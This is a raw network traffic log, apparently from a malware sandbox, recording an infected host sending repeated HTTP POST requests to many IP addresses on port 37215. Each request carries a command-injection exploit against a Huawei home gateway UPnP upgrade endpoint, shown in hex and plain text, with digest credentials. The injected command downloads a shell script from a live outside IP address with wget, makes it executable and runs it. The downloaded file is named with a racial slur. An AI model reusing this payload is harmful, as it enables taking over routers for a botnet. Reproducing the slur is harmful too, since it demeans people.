Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.686073065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.548608065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.540394068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:27.492103100 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.395627975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:39.330466032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	55902	45.42.87.209	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.686356068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	39644	45.123.199.114	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.828130007 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.380443096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
